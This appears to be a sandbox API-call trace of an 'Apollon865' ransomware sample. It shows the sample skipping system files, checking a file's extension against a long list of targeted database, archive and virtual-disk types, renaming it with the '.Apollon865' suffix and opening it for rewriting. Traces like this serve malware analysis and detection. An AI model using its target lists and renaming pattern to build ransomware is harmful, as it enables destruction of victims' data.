	[0066.513] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7a38c100, ftCreationTime.dwHighDateTime=0x1cf3dd2, ftLastAccessTime.dwLowDateTime=0x7a38c100, ftLastAccessTime.dwHighDateTime=0x1cf3dd2, ftLastWriteTime.dwLowDateTime=0x7a38c100, ftLastWriteTime.dwHighDateTime=0x1cf3dd2, nFileSizeHigh=0x0, nFileSizeLow=0x23000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="vc_runtimeMinimum_x64.msi", cAlternateFileName="VC_RUN~1.MSI")) returned 1
	[0066.513] lstrcmpiW (lpString1="vc_runtimeMinimum_x64.msi", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0066.513] lstrcmpiW (lpString1="vc_runtimeMinimum_x64.msi", lpString2="Apollon865.txt.exe") returned 1
	[0066.513] lstrcmpiW (lpString1="vc_runtimeMinimum_x64.msi", lpString2=".") returned 1
	[0066.513] lstrcmpiW (lpString1="vc_runtimeMinimum_x64.msi", lpString2="..") returned 1
	[0066.513] lstrcmpiW (lpString1="vc_runtimeMinimum_x64.msi", lpString2="windows") returned -1
	[0066.513] lstrcmpiW (lpString1="vc_runtimeMinimum_x64.msi", lpString2="bootmgr") returned 1
	[0066.513] lstrcmpiW (lpString1="vc_runtimeMinimum_x64.msi", lpString2="temp") returned 1
	[0066.513] lstrcmpiW (lpString1="vc_runtimeMinimum_x64.msi", lpString2="pagefile.sys") returned 1
	[0066.513] lstrcmpiW (lpString1="vc_runtimeMinimum_x64.msi", lpString2="boot") returned 1
	[0066.513] lstrcmpiW (lpString1="vc_runtimeMinimum_x64.msi", lpString2="ids.txt") returned 1
	[0066.513] lstrcmpiW (lpString1="vc_runtimeMinimum_x64.msi", lpString2="ntuser.dat") returned 1
	[0066.513] lstrcmpiW (lpString1="vc_runtimeMinimum_x64.msi", lpString2="perflogs") returned 1
	[0066.513] lstrcmpiW (lpString1="vc_runtimeMinimum_x64.msi", lpString2="MSBuild") returned 1
	[0066.513] lstrlenW (lpString="vc_runtimeMinimum_x64.msi") returned 25
	[0066.513] lstrlenW (lpString="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\vcRuntimeMinimum_amd64\\cab1.cab") returned 123
	[0066.513] lstrcpyW (in: lpString1=0x119e6ee, lpString2="vc_runtimeMinimum_x64.msi" | out: lpString1="vc_runtimeMinimum_x64.msi") returned="vc_runtimeMinimum_x64.msi"
	[0066.513] lstrlenW (lpString="vc_runtimeMinimum_x64.msi") returned 25
	[0066.513] lstrlenW (lpString="Apollon865") returned 10
	[0066.513] lstrcmpiW (lpString1="um_x64.msi", lpString2="Apollon865") returned 1
	[0066.513] lstrlenW (lpString=".dll") returned 4
	[0066.513] lstrcmpiW (lpString1="vc_runtimeMinimum_x64.msi", lpString2=".dll") returned 1
	[0066.513] lstrlenW (lpString=".lnk") returned 4
	[0066.513] lstrcmpiW (lpString1="vc_runtimeMinimum_x64.msi", lpString2=".lnk") returned 1
	[0066.514] lstrlenW (lpString=".ini") returned 4
	[0066.514] lstrcmpiW (lpString1="vc_runtimeMinimum_x64.msi", lpString2=".ini") returned 1
	[0066.514] lstrlenW (lpString=".sys") returned 4
	[0066.514] lstrcmpiW (lpString1="vc_runtimeMinimum_x64.msi", lpString2=".sys") returned 1
	[0066.514] lstrlenW (lpString="vc_runtimeMinimum_x64.msi") returned 25
	[0066.514] lstrlenW (lpString="bak") returned 3
	[0066.514] lstrcmpiW (lpString1="msi", lpString2="bak") returned 1
	[0066.514] lstrlenW (lpString="ba_") returned 3
	[0066.514] lstrcmpiW (lpString1="msi", lpString2="ba_") returned 1
	[0066.514] lstrlenW (lpString="dbb") returned 3
	[0066.514] lstrcmpiW (lpString1="msi", lpString2="dbb") returned 1
	[0066.514] lstrlenW (lpString="vmdk") returned 4
	[0066.514] lstrcmpiW (lpString1=".msi", lpString2="vmdk") returned -1
	[0066.514] lstrlenW (lpString="rar") returned 3
	[0066.514] lstrcmpiW (lpString1="msi", lpString2="rar") returned -1
	[0066.514] lstrlenW (lpString="zip") returned 3
	[0066.514] lstrcmpiW (lpString1="msi", lpString2="zip") returned -1
	[0066.514] lstrlenW (lpString="tgz") returned 3
	[0066.514] lstrcmpiW (lpString1="msi", lpString2="tgz") returned -1
	[0066.514] lstrlenW (lpString="vbox") returned 4
	[0066.514] lstrcmpiW (lpString1=".msi", lpString2="vbox") returned -1
	[0066.514] lstrlenW (lpString="vdi") returned 3
	[0066.514] lstrcmpiW (lpString1="msi", lpString2="vdi") returned -1
	[0066.514] lstrlenW (lpString="vhd") returned 3
	[0066.514] lstrcmpiW (lpString1="msi", lpString2="vhd") returned -1
	[0066.514] lstrlenW (lpString="vhdx") returned 4
	[0066.514] lstrcmpiW (lpString1=".msi", lpString2="vhdx") returned -1
	[0066.514] lstrlenW (lpString="avhd") returned 4
	[0066.514] lstrcmpiW (lpString1=".msi", lpString2="avhd") returned -1
	[0066.514] lstrlenW (lpString="db") returned 2
	[0066.514] lstrcmpiW (lpString1="si", lpString2="db") returned 1
	[0066.514] lstrlenW (lpString="db2") returned 3
	[0066.514] lstrcmpiW (lpString1="msi", lpString2="db2") returned 1
	[0066.514] lstrlenW (lpString="db3") returned 3
	[0066.515] lstrcmpiW (lpString1="msi", lpString2="db3") returned 1
	[0066.515] lstrlenW (lpString="dbf") returned 3
	[0066.515] lstrcmpiW (lpString1="msi", lpString2="dbf") returned 1
	[0066.515] lstrlenW (lpString="mdf") returned 3
	[0066.515] lstrcmpiW (lpString1="msi", lpString2="mdf") returned 1
	[0066.515] lstrlenW (lpString="mdb") returned 3
	[0066.515] lstrcmpiW (lpString1="msi", lpString2="mdb") returned 1
	[0066.515] lstrlenW (lpString="sql") returned 3
	[0066.515] lstrcmpiW (lpString1="msi", lpString2="sql") returned -1
	[0066.515] lstrlenW (lpString="sqlite") returned 6
	[0066.515] lstrcmpiW (lpString1="64.msi", lpString2="sqlite") returned -1
	[0066.515] lstrlenW (lpString="sqlite3") returned 7
	[0066.515] lstrcmpiW (lpString1="x64.msi", lpString2="sqlite3") returned 1
	[0066.515] lstrlenW (lpString="sqlitedb") returned 8
	[0066.515] lstrcmpiW (lpString1="_x64.msi", lpString2="sqlitedb") returned -1
	[0066.515] lstrlenW (lpString="xml") returned 3
	[0066.515] lstrcmpiW (lpString1="msi", lpString2="xml") returned -1
	[0066.515] lstrlenW (lpString="$er") returned 3
	[0066.515] lstrcmpiW (lpString1="msi", lpString2="$er") returned 1
	[0066.515] lstrlenW (lpString="4dd") returned 3
	[0066.515] lstrcmpiW (lpString1="msi", lpString2="4dd") returned 1
	[0066.515] lstrlenW (lpString="4dl") returned 3
	[0066.515] lstrcmpiW (lpString1="msi", lpString2="4dl") returned 1
	[0066.515] lstrlenW (lpString="^^^") returned 3
	[0066.515] lstrcmpiW (lpString1="msi", lpString2="^^^") returned 1
	[0066.515] lstrlenW (lpString="abs") returned 3
	[0066.515] lstrcmpiW (lpString1="msi", lpString2="abs") returned 1
	[0066.515] lstrlenW (lpString="abx") returned 3
	[0066.515] lstrcmpiW (lpString1="msi", lpString2="abx") returned 1
	[0066.515] lstrlenW (lpString="accdb") returned 5
	[0066.515] lstrcmpiW (lpString1="4.msi", lpString2="accdb") returned -1
	[0066.515] lstrlenW (lpString="accdc") returned 5
	[0066.515] lstrcmpiW (lpString1="4.msi", lpString2="accdc") returned -1
	[0066.515] lstrlenW (lpString="accde") returned 5
	[0066.515] lstrcmpiW (lpString1="4.msi", lpString2="accde") returned -1
	[0066.516] lstrlenW (lpString="accdr") returned 5
	[0066.516] lstrcmpiW (lpString1="4.msi", lpString2="accdr") returned -1
	[0066.516] lstrlenW (lpString="accdt") returned 5
	[0066.516] lstrcmpiW (lpString1="4.msi", lpString2="accdt") returned -1
	[0066.516] lstrlenW (lpString="accdw") returned 5
	[0066.516] lstrcmpiW (lpString1="4.msi", lpString2="accdw") returned -1
	[0066.516] lstrlenW (lpString="accft") returned 5
	[0066.516] lstrcmpiW (lpString1="4.msi", lpString2="accft") returned -1
	[0066.516] lstrlenW (lpString="adb") returned 3
	[0066.516] lstrcmpiW (lpString1="msi", lpString2="adb") returned 1
	[0066.516] lstrlenW (lpString="adb") returned 3
	[0066.516] lstrcmpiW (lpString1="msi", lpString2="adb") returned 1
	[0066.516] lstrlenW (lpString="ade") returned 3
	[0066.516] lstrcmpiW (lpString1="msi", lpString2="ade") returned 1
	[0066.516] lstrlenW (lpString="adf") returned 3
	[0066.516] lstrcmpiW (lpString1="msi", lpString2="adf") returned 1
	[0066.516] lstrlenW (lpString="adn") returned 3
	[0066.516] lstrcmpiW (lpString1="msi", lpString2="adn") returned 1
	[0066.516] lstrlenW (lpString="adp") returned 3
	[0066.516] lstrcmpiW (lpString1="msi", lpString2="adp") returned 1
	[0066.516] lstrlenW (lpString="alf") returned 3
	[0066.516] lstrcmpiW (lpString1="msi", lpString2="alf") returned 1
	[0066.516] lstrlenW (lpString="ask") returned 3
	[0066.516] lstrcmpiW (lpString1="msi", lpString2="ask") returned 1
	[0066.516] lstrlenW (lpString="btr") returned 3
	[0066.516] lstrcmpiW (lpString1="msi", lpString2="btr") returned 1
	[0066.516] lstrlenW (lpString="cat") returned 3
	[0066.516] lstrcmpiW (lpString1="msi", lpString2="cat") returned 1
	[0066.516] lstrlenW (lpString="cdb") returned 3
	[0066.516] lstrcmpiW (lpString1="msi", lpString2="cdb") returned 1
	[0066.516] lstrlenW (lpString="ckp") returned 3
	[0066.516] lstrcmpiW (lpString1="msi", lpString2="ckp") returned 1
	[0066.516] lstrlenW (lpString="cma") returned 3
	[0066.516] lstrcmpiW (lpString1="msi", lpString2="cma") returned 1
	[0066.517] lstrlenW (lpString="cpd") returned 3
	[0066.517] lstrcmpiW (lpString1="msi", lpString2="cpd") returned 1
	[0066.517] lstrlenW (lpString="dacpac") returned 6
	[0066.517] lstrcmpiW (lpString1="64.msi", lpString2="dacpac") returned -1
	[0066.517] lstrlenW (lpString="dad") returned 3
	[0066.517] lstrcmpiW (lpString1="msi", lpString2="dad") returned 1
	[0066.517] lstrlenW (lpString="dadiagrams") returned 10
	[0066.517] lstrcmpiW (lpString1="um_x64.msi", lpString2="dadiagrams") returned 1
	[0066.517] lstrlenW (lpString="daschema") returned 8
	[0066.517] lstrcmpiW (lpString1="_x64.msi", lpString2="daschema") returned -1
	[0066.517] lstrlenW (lpString="db-journal") returned 10
	[0066.517] lstrcmpiW (lpString1="um_x64.msi", lpString2="db-journal") returned 1
	[0066.517] lstrlenW (lpString="db-shm") returned 6
	[0066.517] lstrcmpiW (lpString1="64.msi", lpString2="db-shm") returned -1
	[0066.517] lstrlenW (lpString="db-wal") returned 6
	[0066.517] lstrcmpiW (lpString1="64.msi", lpString2="db-wal") returned -1
	[0066.517] lstrlenW (lpString="dbc") returned 3
	[0066.517] lstrcmpiW (lpString1="msi", lpString2="dbc") returned 1
	[0066.517] lstrlenW (lpString="dbs") returned 3
	[0066.517] lstrcmpiW (lpString1="msi", lpString2="dbs") returned 1
	[0066.517] lstrlenW (lpString="dbt") returned 3
	[0066.517] lstrcmpiW (lpString1="msi", lpString2="dbt") returned 1
	[0066.517] lstrlenW (lpString="dbv") returned 3
	[0066.517] lstrcmpiW (lpString1="msi", lpString2="dbv") returned 1
	[0066.517] lstrlenW (lpString="dbx") returned 3
	[0066.517] lstrcmpiW (lpString1="msi", lpString2="dbx") returned 1
	[0066.517] lstrlenW (lpString="dcb") returned 3
	[0066.517] lstrcmpiW (lpString1="msi", lpString2="dcb") returned 1
	[0066.517] lstrlenW (lpString="dct") returned 3
	[0066.517] lstrcmpiW (lpString1="msi", lpString2="dct") returned 1
	[0066.517] lstrlenW (lpString="dcx") returned 3
	[0066.517] lstrcmpiW (lpString1="msi", lpString2="dcx") returned 1
	[0066.517] lstrlenW (lpString="ddl") returned 3
	[0066.517] lstrcmpiW (lpString1="msi", lpString2="ddl") returned 1
	[0066.518] lstrlenW (lpString="dlis") returned 4
	[0066.518] lstrcmpiW (lpString1=".msi", lpString2="dlis") returned -1
	[0066.518] lstrlenW (lpString="dp1") returned 3
	[0066.518] lstrcmpiW (lpString1="msi", lpString2="dp1") returned 1
	[0066.518] lstrlenW (lpString="dqy") returned 3
	[0066.518] lstrcmpiW (lpString1="msi", lpString2="dqy") returned 1
	[0066.518] lstrlenW (lpString="dsk") returned 3
	[0066.518] lstrcmpiW (lpString1="msi", lpString2="dsk") returned 1
	[0066.518] lstrlenW (lpString="dsn") returned 3
	[0066.518] lstrcmpiW (lpString1="msi", lpString2="dsn") returned 1
	[0066.518] lstrlenW (lpString="dtsx") returned 4
	[0066.518] lstrcmpiW (lpString1=".msi", lpString2="dtsx") returned -1
	[0066.518] lstrlenW (lpString="dxl") returned 3
	[0066.518] lstrcmpiW (lpString1="msi", lpString2="dxl") returned 1
	[0066.518] lstrlenW (lpString="eco") returned 3
	[0066.518] lstrcmpiW (lpString1="msi", lpString2="eco") returned 1
	[0066.518] lstrlenW (lpString="ecx") returned 3
	[0066.518] lstrcmpiW (lpString1="msi", lpString2="ecx") returned 1
	[0066.518] lstrlenW (lpString="edb") returned 3
	[0066.518] lstrcmpiW (lpString1="msi", lpString2="edb") returned 1
	[0066.518] lstrlenW (lpString="epim") returned 4
	[0066.518] lstrcmpiW (lpString1=".msi", lpString2="epim") returned -1
	[0066.518] lstrlenW (lpString="fcd") returned 3
	[0066.518] lstrcmpiW (lpString1="msi", lpString2="fcd") returned 1
	[0066.518] lstrlenW (lpString="fdb") returned 3
	[0066.518] lstrcmpiW (lpString1="msi", lpString2="fdb") returned 1
	[0066.518] lstrlenW (lpString="fic") returned 3
	[0066.518] lstrcmpiW (lpString1="msi", lpString2="fic") returned 1
	[0066.518] lstrlenW (lpString="flexolibrary") returned 12
	[0066.518] lstrcmpiW (lpString1="imum_x64.msi", lpString2="flexolibrary") returned 1
	[0066.518] lstrlenW (lpString="fm5") returned 3
	[0066.518] lstrcmpiW (lpString1="msi", lpString2="fm5") returned 1
	[0066.518] lstrlenW (lpString="fmp") returned 3
	[0066.518] lstrcmpiW (lpString1="msi", lpString2="fmp") returned 1
	[0066.518] lstrlenW (lpString="fmp12") returned 5
	[0066.519] lstrcmpiW (lpString1="4.msi", lpString2="fmp12") returned -1
	[0066.519] lstrlenW (lpString="fmpsl") returned 5
	[0066.519] lstrcmpiW (lpString1="4.msi", lpString2="fmpsl") returned -1
	[0066.519] lstrlenW (lpString="fol") returned 3
	[0066.519] lstrcmpiW (lpString1="msi", lpString2="fol") returned 1
	[0066.519] lstrlenW (lpString="fp3") returned 3
	[0066.519] lstrcmpiW (lpString1="msi", lpString2="fp3") returned 1
	[0066.519] lstrlenW (lpString="fp4") returned 3
	[0066.519] lstrcmpiW (lpString1="msi", lpString2="fp4") returned 1
	[0066.519] lstrlenW (lpString="fp5") returned 3
	[0066.519] lstrcmpiW (lpString1="msi", lpString2="fp5") returned 1
	[0066.519] lstrlenW (lpString="fp7") returned 3
	[0066.519] lstrcmpiW (lpString1="msi", lpString2="fp7") returned 1
	[0066.519] lstrlenW (lpString="fpt") returned 3
	[0066.519] lstrcmpiW (lpString1="msi", lpString2="fpt") returned 1
	[0066.519] lstrlenW (lpString="frm") returned 3
	[0066.519] lstrcmpiW (lpString1="msi", lpString2="frm") returned 1
	[0066.519] lstrlenW (lpString="gdb") returned 3
	[0066.519] lstrcmpiW (lpString1="msi", lpString2="gdb") returned 1
	[0066.520] lstrlenW (lpString="gdb") returned 3
	[0066.520] lstrcmpiW (lpString1="msi", lpString2="gdb") returned 1
	[0066.520] lstrlenW (lpString="grdb") returned 4
	[0066.520] lstrcmpiW (lpString1=".msi", lpString2="grdb") returned -1
	[0066.520] lstrlenW (lpString="gwi") returned 3
	[0066.520] lstrcmpiW (lpString1="msi", lpString2="gwi") returned 1
	[0066.520] lstrlenW (lpString="hdb") returned 3
	[0066.520] lstrcmpiW (lpString1="msi", lpString2="hdb") returned 1
	[0066.520] lstrlenW (lpString="his") returned 3
	[0066.520] lstrcmpiW (lpString1="msi", lpString2="his") returned 1
	[0066.520] lstrlenW (lpString="ib") returned 2
	[0066.520] lstrcmpiW (lpString1="si", lpString2="ib") returned 1
	[0066.520] lstrlenW (lpString="idb") returned 3
	[0066.520] lstrcmpiW (lpString1="msi", lpString2="idb") returned 1
	[0066.520] lstrlenW (lpString="ihx") returned 3
	[0066.520] lstrcmpiW (lpString1="msi", lpString2="ihx") returned 1
	[0066.520] lstrlenW (lpString="itdb") returned 4
	[0066.520] lstrcmpiW (lpString1=".msi", lpString2="itdb") returned -1
	[0066.520] lstrlenW (lpString="itw") returned 3
	[0066.520] lstrcmpiW (lpString1="msi", lpString2="itw") returned 1
	[0066.520] lstrlenW (lpString="jet") returned 3
	[0066.520] lstrcmpiW (lpString1="msi", lpString2="jet") returned 1
	[0066.520] lstrlenW (lpString="jtx") returned 3
	[0066.520] lstrcmpiW (lpString1="msi", lpString2="jtx") returned 1
	[0066.520] lstrlenW (lpString="kdb") returned 3
	[0066.520] lstrcmpiW (lpString1="msi", lpString2="kdb") returned 1
	[0066.520] lstrlenW (lpString="kexi") returned 4
	[0066.520] lstrcmpiW (lpString1=".msi", lpString2="kexi") returned -1
	[0066.520] lstrlenW (lpString="kexic") returned 5
	[0066.520] lstrcmpiW (lpString1="4.msi", lpString2="kexic") returned -1
	[0066.520] lstrlenW (lpString="kexis") returned 5
	[0066.520] lstrcmpiW (lpString1="4.msi", lpString2="kexis") returned -1
	[0066.520] lstrlenW (lpString="lgc") returned 3
	[0066.520] lstrcmpiW (lpString1="msi", lpString2="lgc") returned 1
	[0066.521] lstrlenW (lpString="lwx") returned 3
	[0066.521] lstrcmpiW (lpString1="msi", lpString2="lwx") returned 1
	[0066.521] lstrlenW (lpString="maf") returned 3
	[0066.521] lstrcmpiW (lpString1="msi", lpString2="maf") returned 1
	[0066.521] lstrlenW (lpString="maq") returned 3
	[0066.521] lstrcmpiW (lpString1="msi", lpString2="maq") returned 1
	[0066.521] lstrlenW (lpString="mar") returned 3
	[0066.521] lstrcmpiW (lpString1="msi", lpString2="mar") returned 1
	[0066.521] lstrlenW (lpString="marshal") returned 7
	[0066.521] lstrcmpiW (lpString1="x64.msi", lpString2="marshal") returned 1
	[0066.521] lstrlenW (lpString="mas") returned 3
	[0066.521] lstrcmpiW (lpString1="msi", lpString2="mas") returned 1
	[0066.521] lstrlenW (lpString="mav") returned 3
	[0066.521] lstrcmpiW (lpString1="msi", lpString2="mav") returned 1
	[0066.521] lstrlenW (lpString="maw") returned 3
	[0066.521] lstrcmpiW (lpString1="msi", lpString2="maw") returned 1
	[0066.521] lstrlenW (lpString="mdbhtml") returned 7
	[0066.521] lstrcmpiW (lpString1="x64.msi", lpString2="mdbhtml") returned 1
	[0066.521] lstrlenW (lpString="mdn") returned 3
	[0066.521] lstrcmpiW (lpString1="msi", lpString2="mdn") returned 1
	[0066.521] lstrlenW (lpString="mdt") returned 3
	[0066.521] lstrcmpiW (lpString1="msi", lpString2="mdt") returned 1
	[0066.521] lstrlenW (lpString="mfd") returned 3
	[0066.521] lstrcmpiW (lpString1="msi", lpString2="mfd") returned 1
	[0066.521] lstrlenW (lpString="mpd") returned 3
	[0066.521] lstrcmpiW (lpString1="msi", lpString2="mpd") returned 1
	[0066.521] lstrlenW (lpString="mrg") returned 3
	[0066.521] lstrcmpiW (lpString1="msi", lpString2="mrg") returned 1
	[0066.521] lstrlenW (lpString="mud") returned 3
	[0066.521] lstrcmpiW (lpString1="msi", lpString2="mud") returned -1
	[0066.521] lstrlenW (lpString="mwb") returned 3
	[0066.521] lstrcmpiW (lpString1="msi", lpString2="mwb") returned -1
	[0066.521] lstrlenW (lpString="myd") returned 3
	[0066.521] lstrcmpiW (lpString1="msi", lpString2="myd") returned -1
	[0066.521] lstrlenW (lpString="ndf") returned 3
	[0066.522] lstrcmpiW (lpString1="msi", lpString2="ndf") returned -1
	[0066.522] lstrlenW (lpString="nnt") returned 3
	[0066.522] lstrcmpiW (lpString1="msi", lpString2="nnt") returned -1
	[0066.522] lstrlenW (lpString="nrmlib") returned 6
	[0066.522] lstrcmpiW (lpString1="64.msi", lpString2="nrmlib") returned -1
	[0066.522] lstrlenW (lpString="ns2") returned 3
	[0066.522] lstrcmpiW (lpString1="msi", lpString2="ns2") returned -1
	[0066.522] lstrlenW (lpString="ns3") returned 3
	[0066.522] lstrcmpiW (lpString1="msi", lpString2="ns3") returned -1
	[0066.522] lstrlenW (lpString="ns4") returned 3
	[0066.522] lstrcmpiW (lpString1="msi", lpString2="ns4") returned -1
	[0066.522] lstrlenW (lpString="nsf") returned 3
	[0066.522] lstrcmpiW (lpString1="msi", lpString2="nsf") returned -1
	[0066.522] lstrlenW (lpString="nv") returned 2
	[0066.522] lstrcmpiW (lpString1="si", lpString2="nv") returned 1
	[0066.522] lstrlenW (lpString="nv2") returned 3
	[0066.522] lstrcmpiW (lpString1="msi", lpString2="nv2") returned -1
	[0066.522] lstrlenW (lpString="nwdb") returned 4
	[0066.522] lstrcmpiW (lpString1=".msi", lpString2="nwdb") returned -1
	[0066.522] lstrlenW (lpString="nyf") returned 3
	[0066.522] lstrcmpiW (lpString1="msi", lpString2="nyf") returned -1
	[0066.522] lstrlenW (lpString="odb") returned 3
	[0066.522] lstrcmpiW (lpString1="msi", lpString2="odb") returned -1
	[0066.522] lstrlenW (lpString="odb") returned 3
	[0066.522] lstrcmpiW (lpString1="msi", lpString2="odb") returned -1
	[0066.522] lstrlenW (lpString="oqy") returned 3
	[0066.522] lstrcmpiW (lpString1="msi", lpString2="oqy") returned -1
	[0066.522] lstrlenW (lpString="ora") returned 3
	[0066.522] lstrcmpiW (lpString1="msi", lpString2="ora") returned -1
	[0066.522] lstrlenW (lpString="orx") returned 3
	[0066.522] lstrcmpiW (lpString1="msi", lpString2="orx") returned -1
	[0066.522] lstrlenW (lpString="owc") returned 3
	[0066.522] lstrcmpiW (lpString1="msi", lpString2="owc") returned -1
	[0066.522] lstrlenW (lpString="p96") returned 3
	[0066.522] lstrcmpiW (lpString1="msi", lpString2="p96") returned -1
	[0066.523] lstrlenW (lpString="p97") returned 3
	[0066.523] lstrcmpiW (lpString1="msi", lpString2="p97") returned -1
	[0066.523] lstrlenW (lpString="pan") returned 3
	[0066.523] lstrcmpiW (lpString1="msi", lpString2="pan") returned -1
	[0066.523] lstrlenW (lpString="pdb") returned 3
	[0066.523] lstrcmpiW (lpString1="msi", lpString2="pdb") returned -1
	[0066.523] lstrlenW (lpString="pdm") returned 3
	[0066.523] lstrcmpiW (lpString1="msi", lpString2="pdm") returned -1
	[0066.523] lstrlenW (lpString="pnz") returned 3
	[0066.523] lstrcmpiW (lpString1="msi", lpString2="pnz") returned -1
	[0066.523] lstrlenW (lpString="qry") returned 3
	[0066.523] lstrcmpiW (lpString1="msi", lpString2="qry") returned -1
	[0066.523] lstrlenW (lpString="qvd") returned 3
	[0066.523] lstrcmpiW (lpString1="msi", lpString2="qvd") returned -1
	[0066.523] lstrlenW (lpString="rbf") returned 3
	[0066.523] lstrcmpiW (lpString1="msi", lpString2="rbf") returned -1
	[0066.523] lstrlenW (lpString="rctd") returned 4
	[0066.523] lstrcmpiW (lpString1=".msi", lpString2="rctd") returned -1
	[0066.523] lstrlenW (lpString="rod") returned 3
	[0066.523] lstrcmpiW (lpString1="msi", lpString2="rod") returned -1
	[0066.523] lstrlenW (lpString="rodx") returned 4
	[0066.523] lstrcmpiW (lpString1=".msi", lpString2="rodx") returned -1
	[0066.523] lstrlenW (lpString="rpd") returned 3
	[0066.523] lstrcmpiW (lpString1="msi", lpString2="rpd") returned -1
	[0066.523] lstrlenW (lpString="rsd") returned 3
	[0066.523] lstrcmpiW (lpString1="msi", lpString2="rsd") returned -1
	[0066.523] lstrlenW (lpString="sas7bdat") returned 8
	[0066.523] lstrcmpiW (lpString1="_x64.msi", lpString2="sas7bdat") returned -1
	[0066.523] lstrlenW (lpString="sbf") returned 3
	[0066.523] lstrcmpiW (lpString1="msi", lpString2="sbf") returned -1
	[0066.523] lstrlenW (lpString="scx") returned 3
	[0066.523] lstrcmpiW (lpString1="msi", lpString2="scx") returned -1
	[0066.523] lstrlenW (lpString="sdb") returned 3
	[0066.523] lstrcmpiW (lpString1="msi", lpString2="sdb") returned -1
	[0066.523] lstrlenW (lpString="sdc") returned 3
	[0066.524] lstrcmpiW (lpString1="msi", lpString2="sdc") returned -1
	[0066.524] lstrlenW (lpString="sdf") returned 3
	[0066.524] lstrcmpiW (lpString1="msi", lpString2="sdf") returned -1
	[0066.524] lstrlenW (lpString="sis") returned 3
	[0066.524] lstrcmpiW (lpString1="msi", lpString2="sis") returned -1
	[0066.524] lstrlenW (lpString="spq") returned 3
	[0066.524] lstrcmpiW (lpString1="msi", lpString2="spq") returned -1
	[0066.524] lstrlenW (lpString="te") returned 2
	[0066.524] lstrcmpiW (lpString1="si", lpString2="te") returned -1
	[0066.524] lstrlenW (lpString="teacher") returned 7
	[0066.524] lstrcmpiW (lpString1="x64.msi", lpString2="teacher") returned 1
	[0066.524] lstrlenW (lpString="tmd") returned 3
	[0066.524] lstrcmpiW (lpString1="msi", lpString2="tmd") returned -1
	[0066.524] lstrlenW (lpString="tps") returned 3
	[0066.524] lstrcmpiW (lpString1="msi", lpString2="tps") returned -1
	[0066.524] lstrlenW (lpString="trc") returned 3
	[0066.524] lstrcmpiW (lpString1="msi", lpString2="trc") returned -1
	[0066.524] lstrlenW (lpString="trc") returned 3
	[0066.524] lstrcmpiW (lpString1="msi", lpString2="trc") returned -1
	[0066.524] lstrlenW (lpString="trm") returned 3
	[0066.524] lstrcmpiW (lpString1="msi", lpString2="trm") returned -1
	[0066.524] lstrlenW (lpString="udb") returned 3
	[0066.524] lstrcmpiW (lpString1="msi", lpString2="udb") returned -1
	[0066.524] lstrlenW (lpString="udl") returned 3
	[0066.524] lstrcmpiW (lpString1="msi", lpString2="udl") returned -1
	[0066.524] lstrlenW (lpString="usr") returned 3
	[0066.524] lstrcmpiW (lpString1="msi", lpString2="usr") returned -1
	[0066.524] lstrlenW (lpString="v12") returned 3
	[0066.524] lstrcmpiW (lpString1="msi", lpString2="v12") returned -1
	[0066.524] lstrlenW (lpString="vis") returned 3
	[0066.524] lstrcmpiW (lpString1="msi", lpString2="vis") returned -1
	[0066.524] lstrlenW (lpString="vpd") returned 3
	[0066.524] lstrcmpiW (lpString1="msi", lpString2="vpd") returned -1
	[0066.524] lstrlenW (lpString="vvv") returned 3
	[0066.525] lstrcmpiW (lpString1="msi", lpString2="vvv") returned -1
	[0066.525] lstrlenW (lpString="wdb") returned 3
	[0066.525] lstrcmpiW (lpString1="msi", lpString2="wdb") returned -1
	[0066.525] lstrlenW (lpString="wmdb") returned 4
	[0066.525] lstrcmpiW (lpString1=".msi", lpString2="wmdb") returned -1
	[0066.525] lstrlenW (lpString="wrk") returned 3
	[0066.525] lstrcmpiW (lpString1="msi", lpString2="wrk") returned -1
	[0066.525] lstrlenW (lpString="xdb") returned 3
	[0066.525] lstrcmpiW (lpString1="msi", lpString2="xdb") returned -1
	[0066.525] lstrlenW (lpString="xld") returned 3
	[0066.525] lstrcmpiW (lpString1="msi", lpString2="xld") returned -1
	[0066.525] lstrlenW (lpString="xmlff") returned 5
	[0066.525] lstrcmpiW (lpString1="4.msi", lpString2="xmlff") returned -1
	[0066.525] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\vcRuntimeMinimum_amd64\\vc_runtimeMinimum_x64.msi.Apollon865") returned 151
	[0066.525] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\vcRuntimeMinimum_amd64\\vc_runtimeMinimum_x64.msi" (normalized: "c:\\users\\all users\\package cache\\{a749d8e6-b613-3be3-8f5f-045c84eba29b}v12.0.21005\\packages\\vcruntimeminimum_amd64\\vc_runtimeminimum_x64.msi"), lpNewFileName="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\vcRuntimeMinimum_amd64\\vc_runtimeMinimum_x64.msi.Apollon865" (normalized: "c:\\users\\all users\\package cache\\{a749d8e6-b613-3be3-8f5f-045c84eba29b}v12.0.21005\\packages\\vcruntimeminimum_amd64\\vc_runtimeminimum_x64.msi.apollon865"), dwFlags=0x1) returned 1
	[0066.526] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\vcRuntimeMinimum_amd64\\vc_runtimeMinimum_x64.msi.Apollon865" (normalized: "c:\\users\\all users\\package cache\\{a749d8e6-b613-3be3-8f5f-045c84eba29b}v12.0.21005\\packages\\vcruntimeminimum_amd64\\vc_runtimeminimum_x64.msi.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x154
	[0066.526] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=143360) returned 1
	[0066.526] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0066.527] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
